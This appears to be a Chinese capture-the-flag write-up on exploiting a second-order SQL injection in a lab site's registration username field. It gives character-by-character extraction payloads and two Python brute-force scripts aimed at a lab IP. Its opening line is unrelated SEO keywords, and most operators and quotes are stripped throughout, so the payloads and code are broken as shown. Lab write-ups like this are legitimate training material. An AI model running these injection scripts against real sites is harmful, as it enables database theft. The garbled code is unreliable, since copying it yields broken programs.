中国工程建设标准化协会官方网站,2021网络营销成功案例,wordpress 内容排版,cms建站系统开源使用ctf在线靶场https://adworld.xctf.org.cn/home/index。
进入靶场#xff0c;发现是一个登录页面。 使用awvs进行扫描#xff0c;发现存在login.php和register.php#xff0c;并且register.php存在sql注入漏洞。 访问一下register.php试试#xff0c;发现是一个注册页面…使用ctf在线靶场https://adworld.xctf.org.cn/home/index。
进入靶场发现是一个登录页面。 使用awvs进行扫描发现存在login.php和register.php并且register.php存在sql注入漏洞。 访问一下register.php试试发现是一个注册页面。 在邮箱、用户名、密码分别尝试sql注入。
发现邮箱后面不允许添加符号’等密码添加’等会被当做字符传入而在用户名的地方输入’注册失败怀疑是在用户名处存在sql注入。
随便注册一个试试。 登陆进去发现在页面中存在用户名的显示。
在用户名处输入
dhh and 11注册成功登陆查看用户名为0。基本确定为二次注入注入点为用户名处。 使用burp判断被过滤的字符。初步爆破发现单引号、逗号、information被过滤。那就开始尝试
注册时让用户名为select database()尝试一下。
登陆后发现用户名直接显示为select database()。那么猜测应该是被单引号或者双引号包裹起来作为字符串了尝试两种闭合。 使用1’21可以注册成功那就证明单引号没被过滤掉而且可以看出来后台接收语句应该是select…where username‘username’。
开始尝试构建payload。
0database()0 #结果为0尝试使用ascii进行转换为10进制尝试下面是转换database()的第一个字符。
0ascii(substr((database()) from 1 for 1))0查看ascii表发现119为w也就是当前数据库第一个字母为w。那证明目前的思路是正确的。
写python脚本进行爆破。
import requests
from bs4 import BeautifulSoupdef jieguo():name url http://61.147.171.105:58807/url1 url register.phpurl2 url login.phpfor i in range(1, 100):data_register {email: fdhh{i}163.com,username: f0ascii(substr((database()) from {i} for 1))0;,password: 123}data_login {email: fdhh{i}163.com,password: 123}response_regiseter requests.post(url1, datadata_register)response_login requests.post(url2, datadata_login)bs BeautifulSoup(response_login.text, html.parser) # bs4解析页面username bs.find(span, class_user-name) # 取返回页面数据的span classuser-name属性number username.text # 取该属性的数字name chr(int(number))print(name)if __name__ __main__:jieguo()额…不知道为什么爆破完库名之后还在输出。
目前为止二次注入的目的完成。
因为我们的目的不是为了拿到flag所以我就上网查询了一下如何拿flag并且写成payload
0ascii(substr((select * from flag) from 1 for 1))0import requests
from bs4 import BeautifulSoupdef jieguo():name url http://61.147.171.105:58807/url1 url register.phpurl2 url login.phpfor i in range(1, 100):data_register {email: fdh{i}163.com,username: f0ascii(substr((select * from flag) from {i} for 1))0;,password: 1}data_login {email: fdh{i}163.com, password: 1}response_regiseter requests.post(url1, datadata_register)response_login requests.post(url2, datadata_login)bs BeautifulSoup(response_login.text, html.parser) # bs4解析页面username bs.find(span, class_user-name) # 取返回页面数据的span classuser-name属性number username.text # 取该属性的数字name chr(int(number))print(name)if __name__ __main__:jieguo()